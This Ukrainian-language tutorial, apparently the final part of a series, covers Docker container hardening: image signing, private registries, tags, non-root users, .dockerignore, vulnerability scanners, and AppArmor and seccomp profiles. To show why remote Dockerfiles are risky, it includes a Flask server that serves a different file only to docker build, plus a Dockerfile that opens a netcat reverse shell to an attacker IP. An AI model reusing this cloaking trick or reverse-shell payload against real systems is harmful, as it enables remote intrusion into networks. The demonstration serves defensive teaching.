Це п’ята і остання частина статті про безпеку Docker. У цій частині ми зосередимося на забезпеченні безпеки Docker контейнерів, розглянемо найкращі практики та інструменти для захисту ваших контейнерів від вразливостей та атак. Дізнайтеся, як ефективно використовувати існуючі засоби безпеки для підтримки стабільної та захищеної роботи ваших додатків у контейнерах.
Тепер настав час обговорити кілька основних, але також складних питань, пов’язаних із безпекою та налаштуванням контейнерів. Давайте почнемо з чогось дійсно базового.
Використання офіційних чи надійних образів Docker має вирішальне значення для забезпечення безпеки програм і даних. Офіційні зображення перевіряються на якість і безпеку, що мінімізує ризик вмісту зловмисного програмного забезпечення або вразливості системи безпеки. Надійні компанії регулярно оновлюють свої зображення, виправляючи відомі помилки та прогалини в безпеці. В результаті системи захищені від останніх загроз.
На відміну від надійних образів, неперевірені образи Docker можуть містити небезпечне або шкідливе програмне забезпечення. Немає жодної гарантії, що вони були належним чином протестовані та схвалені на безпеку. Використовуючи такі зображення, користувачі піддають свої системи різним типам атак, включаючи атаки програм-вимагачів, які можуть шифрувати дані та вимагати викуп за їх дешифрування, а також атаки типу «людина посередині», які включають перехоплення та маніпулювання спілкування між двома сторонами.
Як перевірити, чи є зображення «офіційним»? Під час використання DockerHub ми отримуємо графічну інформацію про те, чи є вибране зображення офіційним, тобто опублікованим і перевіреним командою Docker.
Чому вибір захищеного образу такий важливий? Були і, безсумнівно, будуть ситуації, коли зображення Docker використовувалися як канал розповсюдження шкідливого програмного забезпечення. Приклади таких ситуацій можна знайти за посиланнями нижче:
Коротше кажучи, які елементи містили ці шкідливі зображення? До них належать, серед іншого, майнери криптовалюти або програмне забезпечення, яке викрадає облікові дані, наприклад, із змінних середовища. Інші приклади включають використання контейнера, запущеного на основі шкідливого образу, як свого роду троянського коня, що дозволяє зловмиснику отримати несанкціонований доступ до нашої внутрішньої мережі.
Docker Content Trust (DCT) — це функція безпеки в Docker, яка дозволяє перевірити цілісність і походження зображень Docker. DCT використовує цифрові підписи, щоб гарантувати, що образи Docker, які ви використовуєте, не були змінені з моменту їх створення. Іншими словами, це допомагає процесу перевірки автентичності та цілісності зображень.
За замовчуванням DCT неактивний. Щоб активувати цей механізм, ми повинні встановити DOCKER_CONTENT_TRUST
значення змінної середовища 1
в конфігурації хоста Docker. Якщо ми хочемо, щоб DCT був активним весь час, нам слід визначити цю змінну середовища у таких файлах, як .bashrc
, .zshrc
, або в іншому, відповідному для оболонки, яку ми використовуємо.
Відтепер такі команди Docker CLI:
push
,
build
,
create
,
pull
,
run
,
буде використовувати DCT. Що це означає на практиці? Якщо ми спробуємо завантажити зображення з вибраного репозиторію за допомогою docker pull
команди (наприклад, з Docker Hub), ця операція буде успішною, лише якщо вибране зображення буде підписано. Давайте перевіримо це на прикладі (мал. 79, лістинг 50).
export DOCKER_CONTENT_TRUST=1 env | grep DOCKER docker pull ubuntu:23.04 docker pull ubuntubase/debianbase:12
Лістинг 50. Перевірка роботи DCT.
На першому кроці завантажуємо офіційний підписаний образ Ubuntu з тегом 23.04. Все працювало бездоганно. Тоді обираємо із сховища зображення, яке не здавалося надійним, і спробував його завантажити. Клієнт Docker повернув помилку, повідомивши мене, що він не може знайти підпис для цього конкретного зображення. Це крок у правильному напрямку!
Звичайно, важливо пам’ятати, що в деяких випадках неможливість завантажити непідписане зображення може бути для нас небажаним явищем. Але ми говоримо про загартовування!
Звичайно, Docker Content Trust також працює, коли ми хочемо підписати зображення, яке ми публікуємо. Детальні інструкції щодо налаштування клієнта, щоб ми могли підписувати зображення, можна знайти за цим посиланням.
Замість того, щоб повністю покладатися на загальнодоступний Docker Hub, набагато краще використовувати власне сховище зображень. Звичайно, ми можемо використовувати готові рішення, такі як Azure Container Registry або Google Artifact Registry , але ми також можемо без проблем налаштувати власний репозиторій.
Запуск власного репозиторію зображень для цілей тестування — це питання лише кількох команд. Відповідно до платформи Docker ми запускаємо репозиторій з образу (лістинг 51).
docker run -d -p 5000:5000 --restart=always --name registry registry:2
Лістинг 51. Запуск локального реєстру.
І це все. У нас є запущене сховище зображень, хоча й у дуже базовій конфігурації, яке, наприклад, не вимагає жодної форми автентифікації (Малюнок 80).
Чудово! У нас уже є власне сховище, де ми можемо зберігати створені зображення. Таким чином вони будуть ізольовані, наприклад, від Docker Hub.
Підхід до використання нашого власного приватного сховища (не обов’язково розміщеного у нашій власній інфраструктурі, але над яким ми маємо контроль) також має ту перевагу, що ми можемо постійно контролювати безпеку зображень і реагувати на будь-які виявлені потенційні загрози.
УВАГА! Поточна конфігурація реєстру Docker практично не забезпечує рівня автентифікації. Тому ми не можемо використовувати його у виробничому середовищі. Однак за замовчуванням існує кілька способів примусової автентифікації. Більше інформації на цю тему можна знайти в документації .
Вам слід уникати конструкцій, які припускають, що Dockerfile витягується з віддаленого ресурсу, над яким ви не маєте контролю. Наприклад, можна запустити процес створення образу за допомогою наступної команди з лістингу 52.
docker build http://random-server/Dockerfile
Лістинг 52. Приклад запуску docker build
з URL.
На жаль, людина, яка контролює будь-який сервер, може скинути нам шкідливий файл Docker, навіть якщо на перший погляд все в порядку. Давайте перевіримо це на прикладі. Проста програму на Python, використовуючи фреймворк Flask (лістинг 53).
from flask import Flask, request app = Flask(__name__) @app.route('/Dockerfile', methods=['GET']) def headers(): headers = request.headers if "Go-http-client" in headers['User-Agent']: response = open('EvilDockerfile').read() else: response = open('Dockerfile').read() return response if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5001)
Лістинг 53. Приклад програми на основі Python3 і Flask.
Його завдання дуже просте. Якщо ми зробимо запит до кінцевої точки /Dockerfile
, наприклад, використовуючи стандартний браузер, такий як Chrome або Firefox (або навіть команду curl
), програма поверне вміст, Dockerfile
розташований на диску сервера. Однак, якщо User-Agent
в запиті з’являється заголовок, що містить рядок Go-http-client
, буде повернуто вміст іншого файлу, а саме EvilDockerfile
. Давайте подивимося, чим ці файли відрізняються (лістинг 54, лістинг 55).
FROM ubuntu:22.04 RUN useradd -r testuser USER testuser
Лістинг 54. Dockerfile.
FROM ubuntu:22.04 RUN apt-get update && apt-get install -y netcat-traditional CMD ["/usr/bin/nc.traditional", "172.16.169.186", "4444", "-e", "/bin/sh"
Лістинг 55. EvilDockerfile.
Перший Dockerfile
здається нешкідливим. Однак другий містить інструкції, які створюють так звану «зворотну оболонку». Кожен, хто створює контейнер на основі цього Dockerfile (зокрема, EvilDockerfile), а потім запускає його, дозволяє зловмиснику отримати доступ до контейнера. Це, у свою чергу, означає доступ до внутрішньої мережі, з якої зловмисник може продовжувати свою діяльність.
Тепер давайте спробуємо запустити додаток і подивимося, як воно працює на практиці. Якщо ви раніше не встановлювали Flask, ви можете зробити це, виконавши команду apt install python3-flask
. Крім того, на сервері з адресою 172.16.169.186
, в третій консолі ми увійдемо і запустимо netcat
в режимі прослуховування. Очікується очікування з’єднання зворотного виклику від шкідливого контейнера ( nc -nlvp 4444
).
В одній консолі ми запустимо програму (за допомогою python3 app.py
команди), а в іншій ми спробуємо завантажити файл із кінцевої точки, наданої програмою (за допомогою команди curl http://172.16.169.183:5001/Dockerfile
).
Як бачите, перша спроба завантажити Dockerfile
повертає «нешкідливу» версію. Ми можемо досягти такого ж ефекту, відвідавши вказану адресу з будь-якого веб-браузера. Тепер давайте спробуємо надіслати запит до кінцевої точки із User-Agent
значенням заголовка, ідентичним тому, яке використовує docker build
інструмент (Малюнок 82).
Здається, наш додаток працює правильно. Настав час останнього тесту. Біжимо docker build
(малюнок 83)
Як тільки процес буде завершено, ми можемо спробувати запустити контейнер на основі створеного образу (Малюнок 84).
Бум! Як тільки ми запустили образ на нашому віддаленому сервері, з’єднання було встановлено! Відтепер у нас контроль над контейнером.
Приклад, який ми представимо передбачає роботу у внутрішній мережі. Тим не менш, ніщо не заважає нам використовувати IP-адресу будь-якої машини в Інтернеті (з загальнодоступною IP-адресою) як адресу сервера, до якого має бути встановлено зворотне з’єднання оболонки.
Усі зображення в середовищі Docker повинні мати власний тег . Якщо ми не вкажемо чітко, який тег ми хочемо використовувати, Docker за умовчанням використовуватиме тег latest
. Однак це практика, яка може мати свої наслідки, особливо з точки зору безпеки. На практиці варто перевірити, як працює та що це тег. Для цього ми скористаємося репозиторієм зображень, який мить тому створили.
Поширеною помилкою, яка є наслідком неправильного розуміння тегу latest
, є припущення (за його назвою), що latest
вказує на останню версію програмного забезпечення. Наприклад, у репозиторії Ubuntu, що містить 23.04
і 22.04
зображення, часто припускають, що latest
вказує на перше. Це може бути правдою, але це не обов’язково так. За певних умов він може бути іншим.
Ми проведемо експеримент, який передбачає додавання двох зображень Docker до репозиторію, зокрема ubuntu:23.04
та ubuntu:22.04
. Ці зображення вже є на диску (мал. 85).
Час для фактичної вправи (лістинг 56).
docker tag ubuntu:23.04 localhost:5000/ubuntu docker push localhost:5000/ubuntu:23.04 docker tag ubuntu:22.04 localhost:5000/ubuntu docker push localhost:5000/ubuntu:22.04 docker tag ubuntu:22.04 localhost:5000/ubuntu docker push localhost:5000/ubuntu:latest
Лістинг 56. Додавання тегів до локальних зображень і надсилання їх до локального сховища.
Давайте тепер спробуємо завантажити зображення з репозиторію Docker.
Як видно (Малюнок 88), завантажене зображення (остання позиція у виділеному полі) є версією 22.04
, а не «останньою» версією, доступною в сховищі, яка є 23.04
.
Пам’ятайте, що latest
це ще один тег. Це може вказувати найновішу версію програмного забезпечення, але це не обов’язково. Остаточне рішення з цього питання повністю залежить від особи, яка додає зображення до сховища.
Підсумовуючи, уникнення latest
тегів у Docker допомагає підвищити стабільність, послідовність і безпеку контейнерних програм. Завжди рекомендується використовувати спеціальні теги, щоб бути впевненим щодо версії зображення, що використовується в певному середовищі.
Тег latest
у Docker стосується найновішого зображення, доданого до репозиторію, не обов’язково останньої версії програмного забезпечення. Це означає, що якщо хтось надсилає ( push
) старішу версію програмного забезпечення до репозиторію Docker і позначає її як latest
, користувачі, які завантажують зображення з latest
тегом, отримають цю старішу версію, а не останню версію програмного забезпечення.
Уникайте використання latest
тегу.
За замовчуванням операції, визначені у Dockerfile, виконуються від імені root
користувача (з дозволами користувача root
). Використання USER
інструкції в Dockerfile дозволяє змінити цю поведінку, обмеживши привілеї процесів, запущених у контейнері, що є вигідним з точки зору безпеки. Наприклад, якщо у вас є програма, для належної роботи якої не потрібні права root, ви можете скористатися інструкцією, USER
щоб змінити користувача на менш привілейованого. Така практика може допомогти захистити систему від потенційних атак.
Давайте спробуємо створити власний приклад a, Dockerfile
у якому ми будемо використовувати інструкцію USER (лістинг 57).
FROM ubuntu:22.04 RUN useradd -r testuser USER testuser
Лістинг 57. Приклад файлу Docker з використанням інструкції USER.
Увага! Не рекомендується явно визначати UID (наприклад, за допомогою перемикача
-u 1001
). Це може спричинити проблеми з операціями контейнера та запущеними на ньому програмами, особливо під час запуску зображення на платформі Openshift, наприклад.
Запуск образу вимагає виконання кількох команд (лістинг 58, малюнок 89).
# Commands to be executed in the context of the Docker Host docker build -t ubuntu-testuser . docker run -it --rm ubuntu-testuser bash # Commands to be executed in the context of container id head -n 1 /etc/shadow
Лістинг 58. Запуск нового контейнера.
Все добре. За замовчуванням ми працюємо з testuser
, який має обмежені дозволи! Це, безперечно, практика, яку варто пам’ятати.
На жаль, описане вище рішення можна легко обійти. Вам просто потрібно додати параметр -u 0
під час запуску контейнера, що дозволить нам повернутися до роботи як root
користувач (лістинг 59, малюнок 90).
docker run -it --rm -u 0 ubuntu-testuser bash
Лістинг 59. Запуск контейнера з параметром -u 0.
Це питання буде розглянуто в частині статті, присвяченій AppArmor.
У нас було кілька випадків побудови власного іміджу. На цьому етапі варто обговорити практики, які часто спостерігаються в посібниках із «докеризації» (контейнеризації) програм. Там зазвичай обговорюються стандартні інструкції, такі як FROM
, WORKDIR
, або навіть представлена раніше команда . USER
Однак на певному етапі представлено спосіб перенесення файлів програми в образ (в контейнер). У багатьох випадках спостерігалася структура з лістингу 60.
COPY . .
Лістинг 60. Приклад команди COPY.
Команда COPY . .
копіює всі файли та каталоги з каталогу, де знаходиться Dockerfile
, до зображення. Перший аргумент ( .
) означає «всі файли та каталоги в поточному каталозі», а другий аргумент ( .
) означає «робочий каталог в образі Docker». Тут важливо звернути увагу на фразу «всі файли та каталоги» — і вона означає буквально всі. Навіть файли, які не слід передавати в образ, наприклад файли типу .cache
або node_modules
, або файли, які не повинні бути там через їхній вміст, також передаються. Наприклад, це можуть бути файли, що містять облікові дані або інші конфіденційні дані. Як ми можемо вирішити цю проблему?
Файл .dockerignore
використовується для виключення файлів і каталогів із процесу створення образу Docker. Файл .dockerignore
працює подібно до .gitignore
файлу в системі керування версіями Git. Він дозволяє вказати шаблони, які будуть виключені з образу, що будується.
Зразок файлу .dockerignore може виглядати як лістинг 61.
# ignore node_modules folder node_modules/ # ignore test folder /test # ignore files .gitignore and .env .gitignore .env # ignore all markdown files *.md
Лістинг 61. Зразок .dockerignore.
Нам потрібно розмістити його в тому ж каталозі, що й наш Dockerfile
.
У попередній частині тексту ми познайомилися з такими інструментами, як Lynis або Docker Bench for Security, які дозволили нам автоматизувати перевірку рівня безпеки Docker Host і Docker Daemon. Однак, коли справа стосується безпеки Docker, ми не можемо забувати про безпеку самих зображень. На щастя, і в цій області вже є готові інструменти, за допомогою яких ми можемо автоматизувати процес аналізу вразливостей. Один із них – Триві.
Trivy — це інструмент, який може автоматично сканувати такі ресурси на наявність вразливостей у безпеці:
Зображення контейнерів,
файлові системи,
сховища Git,
Зображення віртуальних машин,
Кластери Kubernetes,
Середовища AWS.
Ми можемо завантажити та запустити Trivy як контейнер (лістинг 62).
docker pull aquasec/trivy:0.45.1
Лістинг 62. Завантаження зображення Trivy.
Для запуску сканування вибраного зображення, у цьому випадку ubuntu:22.04
, потрібно ввести таку команду з лістингу 63 (Малюнок 91):
docker run -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy:0.45.1 image ubuntu:22.04
Лістинг 63. Запуск сканування Trivy.
Через кілька секунд Trivy повертає результат у вигляді таблиці зі списком виявлених аномалій (Малюнок 92).
Для нашого тестового зображення ubuntu:22.04
ми визначили дві вразливості високого ризику, шість уразливостей середнього ризику та п’ятнадцять проблем, класифікованих як загрози низького ризику.
Кожна вразливість супроводжується посиланням, наприклад, https://avd.aquasec.com/nvd/cve-2022-3715 , де можна знайти подробиці про вразливість. Важливо, що також надаються рекомендації щодо пом’якшення.
Безумовно, варто також розглянути інструмент Docker Scout tool. Цей вдосконалений інструмент може сканувати зображення та надавати рекомендації щодо дій, які необхідно вжити для усунення вибраних загроз.
Docker Scout можна керувати через консоль, але він також має зручний графічний інтерфейс користувача . Цим інтерфейсом можна керувати з Docker Desktop, перейшовши на вкладку «Зображення». Потім ми вибираємо зображення, яке нас цікавить, і, нарешті, натискаємо на вкладку Вразливості.
Наприклад, завантаживши старішу версію образу Ubuntu за допомогою команди docker pull ubuntu:groovy-20200609
. Через кілька секунд Скаут запропонував уразливості, які зустрічаються на цьому зображенні (Малюнок 93).
Подібного ефекту можна досягти, видавши docker scout cves ubuntu:groovy-20200609
команду з консолі (мал. 94).
Інші інструменти, які рекомендуємо до вашої уваги:
clair – https://github.com/quay/clair
InSpect – https://docs.chef.io/inspec/
notary – https://github.com/notaryproject/notary
snyk – https://snyk.io/partners/docker/
Пам’ятайте, що повністю покладатися на автоматичні рішення не варто. Перевірка безпеки вручну також може дати цікаві результати. Особливо важливо відзначити, що існують способи «сховатися» від сканерів.
AppArmor (Application Armor) — це інструмент безпеки, який використовується для обмежяення можливостей програм і процесів. Це допомагає запобігти атакам і успішним спробам використання вразливостей. AppArmor дозволяє операційній системі обмежувати дії певної програми – що вона може робити, які ресурси вона може використовувати та які файли чи каталоги вона може читати чи записувати.
AppArmor часто використовується для посилення безпеки контейнерів Docker. Під час запуску контейнера йому можна призначити профіль AppArmor. Цей профіль визначає набір правил і обмежень, які визначають, які операції дозволені, а які заборонені для процесів, що виконуються в контейнері.
AppArmor є прикладом механізму обов’язкового контролю доступу (MAC) у системі Linux. Незважаючи на те, що Linux зазвичай покладається на модель дискреційного контролю доступу (DAC), такі інструменти, як AppArmor, дозволяють запровадити додаткові, більш детальні та суворі правила безпеки, які не можуть бути змінені звичайними користувачами. SELinux є ще одним прикладом механізму, заснованого на концепції MAC.
Можливо, ви навіть не чули про AppArmor раніше, але Docker за умовчанням використовує політику AppArmor за замовчуванням. Це означає, що під час запуску контейнера docker-default
профіль завантажується.
Ми спробуємо підготувати, а потім змінити приклад політики AppArmor на основі прикладу, наданого Docker для сервера nginx
(лістинг 64). Приклад можна знайти тут.
#include <tunables/global> profile docker-nginx flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> network inet tcp, network inet udp, network inet icmp, deny network raw, deny network packet, file, umount, deny /bin/** wl, deny /boot/** wl, deny /dev/** wl, deny /etc/** wl, deny /home/** wl, deny /lib/** wl, deny /lib64/** wl, deny /media/** wl, deny /mnt/** wl, deny /opt/** wl, deny /proc/** wl, deny /root/** wl, deny /sbin/** wl, deny /srv/** wl, deny /tmp/** wl, deny /sys/** wl, deny /usr/** wl, audit /** w, /var/run/nginx.pid w, /usr/sbin/nginx ix, deny /bin/dash mrwklx, deny /bin/sh mrwklx, deny /usr/bin/top mrwklx, capability chown, capability dac_override, capability setuid, capability setgid, capability net_bind_service, deny @{PROC}/* w, # deny write for all files directly in /proc (not in a subdir) # deny write to files not in /proc/<number>/** or /proc/sys/** deny @{PROC}/{[^1-9],[^1-9][^0-9],[^1-9s][^0-9y][^0-9s],[^1-9][^0-9][^0-9][^0-9]*}/** w, deny @{PROC}/sys/[^k]** w, # deny /proc/sys except /proc/sys/k* (effectively /proc/sys/kernel) deny @{PROC}/sys/kernel/{?,??,[^s][^h][^m]**} w, # deny everything except shm* in /proc/sys/kernel/ deny @{PROC}/sysrq-trigger rwklx, deny @{PROC}/mem rwklx, deny @{PROC}/kmem rwklx, deny @{PROC}/kcore rwklx, deny mount, deny /sys/[^f]*/** wklx, deny /sys/f[^s]*/** wklx, deny /sys/fs/[^c]*/** wklx, deny /sys/fs/c[^g]*/** wklx, deny /sys/fs/cg[^r]*/** wklx, deny /sys/firmware/** rwklx, deny /sys/kernel/security/** rwklx, }
Лістинг 64. Приклад політики AppArmor.
Що тут відбувається? Така політика AppArmor:
Дозволяє контейнеру docker-nginx встановлювати мережеві з’єднання за допомогою протоколів TCP, UDP.
Запобігає мережевим підключенням через необроблений сокет.
Контейнер має загальний доступ до файлів з певними винятками.
Забороняє доступ до багатьох системних каталогів, зокрема
/bin
,/boot
,/dev
тощо, щоб запобігти неавторизованому доступу чи модифікаціям.
Контролює доступ до запису для всіх файлів, перевіряючи кожну спробу запису.
Дозволяє писати в
/var/run/nginx.pid
.
Дозволяє виконувати
/usr/sbin/nginx
.
Блокує можливість виконувати та змінювати
/bin/dash
,/bin/sh
та/usr/bin/top
.
Надає контейнеру вибрані дозволи, наприклад
chown
,dac_override
,setuid
,setgid
таnet_bind_service
.
Запобігає запису в
/proc
каталозі, за винятком певних шляхів.
Запобігає монтуванню файлових систем усередині контейнера.
Обмежує доступ до каталогів у
/sys
, підвищуючи безпеку системи від несанкціонованого доступу та змін.
Давайте подивимося, як це працює на практиці.
Зберігаємо політику у файлі, наприклад /etc/apparmor.d/containers/docker-nginx
. Потім запускаємо програму, яка завантажує визначену політику, тобто виконуємо команду: sudo apparmor_parser -r -W /etc/apparmor.d/containers/docker-nginx
. Все, що залишилося, це запустити контейнер (лістинг 65).
docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name apparmor-nginx nginx
Лістинг 65. Запуск контейнера із застосуванням профілю AppArmor.
Здається, незважаючи на нав’язану політику, nginx
працює правильно. Тепер внесемо модифікацію, яка заборонить nginx
процесу працювати з даними з /usr/share/nginx/
каталогу. Це ресурс, з якого nginx
подаються файли. Ми зробимо це, додавши до файлу рядок із лістингу 66 (малюнок 96).
deny /usr/share/nginx/** rwklx,
Лістинг 66. Необхідно додати рядок до політики AppArmor.
Час перезапустити контейнер Docker (лістинг 67).
docker stop apparmor-nginx docker rm apparmor-nginx sudo apparmor_parser -r -W /etc/apparmor.d/containers/docker-nginx docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name apparmor-nginx nginx curl http://127.0.0.1/
Лістинг 67. Запуск контейнера зі зміненою політикою.
Ми відразу бачимо різницю (мал. 97). Не вносячи змін у конфігурацію контейнера чи запущений на ньому сервер Nginx, ми заблокували доступ до каталогу /usr/share/nginx
. Замість відображення вмісту файлу index.html
Nginx повертає повідомлення з інформацією про відмову в доступі. Все йде за планом!
Також варто звернути особливу увагу на ситуації в AppArmor, коли хтось вимкнув політику безпеки на запущеному контейнері, використовуючи конструкцію на зразок --security-opt=apparmor:unconfined
.
Seccomp, також відомий як Secure Computing Mode, — це інструмент, який дозволяє обмежити набір системних викликів, які може використовувати процес. Це важливо з точки зору безпеки, оскільки суттєво зменшує поверхню атаки системи. Фільтруючи системні виклики та обмежуючи доступ до них, Seccomp може ефективно мінімізувати потенційні ризики, пов’язані з використанням вразливостей безпеки в програмах і операційних системах.
У контексті Docker Seccomp можна використовувати для підвищення безпеки контейнера. Docker за замовчуванням містить профіль Seccomp, який блокує кілька десятків із понад 300 доступних системних викликів, таким чином посилюючи безпеку хоста та контейнерів. Користувачі також мають можливість налаштовувати профілі Seccomp відповідно до своїх потреб, що дозволяє точно контролювати доступність окремих системних викликів для конкретних контейнерів. У результаті збільшується складність і гнучкість контролю безпеки, що дозволяє досягти балансу між захистом і продуктивністю програми.
Приклад політики Seccomp можна завантажити з репозиторію на GitHub . Вносячи до нього зміни відповідно до лістингу 68, ми можемо заблокувати можливість створювати нові каталоги в контейнері, до якого застосована така політика.
213d212 < "mkdir", 826a826,832 > }, > { > "names": [ > "mkdir" > ], > "action": "SCMP_ACT_ERRNO", > "errnoRet": 1337 829c835 < } \ No newline at end of file --- > }
Лістинг 68. Результат виконання команди «diff» для вихідного та зміненого файлів.
Після внесення змін у файл reynard.json ми можемо запустити контейнер (малюнок 98, лістинг 69).
wget -q https://github.com/moby/moby/raw/master/profiles/seccomp/default.json cp default.json reynard.json docker run -it --security-opt seccomp=reynard.json --rm ubuntu:22.04 bash
Лістинг 69. Запуск контейнера з новою політикою seccomp.
Подібно до AppArmor, Docker використовує вбудований профіль Seccomp за умовчанням.
У цьому тексті ми не будемо обговорювати конфігурацію механізму SELinux, оскільки раніше обговорювали AppArmor. Теоретично SELinux і AppArmor можна встановити на одній системі, але зазвичай це не рекомендується через можливе ускладнення керування. Як правило, операційні системи та дистрибутиви Linux постачаються з одним із цих механізмів безпеки, увімкненим за замовчуванням, а інший або вимкнено, або не встановлено взагалі.
Звичайно, це питання виходить за рамки цієї статті, але питання кібербезпеки становлять систему взаємопов’язаних судин.
Docker Desktop — це програма для операційних систем Windows і Mac. Це дозволяє користувачам легко керувати контейнерами Docker, у тому числі через графічний інтерфейс користувача (GUI). Це практичний інструмент, що містить усі необхідні функції для створення, тестування та розгортання контейнерних програм на локальному комп’ютері. Це ідеальне рішення для тих, хто вважає за краще уникати тривалої роботи в консолі.
Docker Desktop служить альтернативним інтерфейсом між користувачем і Docker Daemon. Тому всі наведені тут рекомендації також стосуються середовищ (наприклад, середовища розробки), які використовують Docker Desktop замість Docker CLI. Також варто підкреслити необхідність регулярного оновлення Docker Desktop до останньої доступної версії, щоб забезпечити оптимальну продуктивність і безпеку роботи.
Заради формальності також наголосимо на необхідності регулярного оновлення програмного забезпечення Docker. Можливо, це може бути те, що називається очевидним фактом, але це дозволяє усунути виявлені та виправлені вразливості.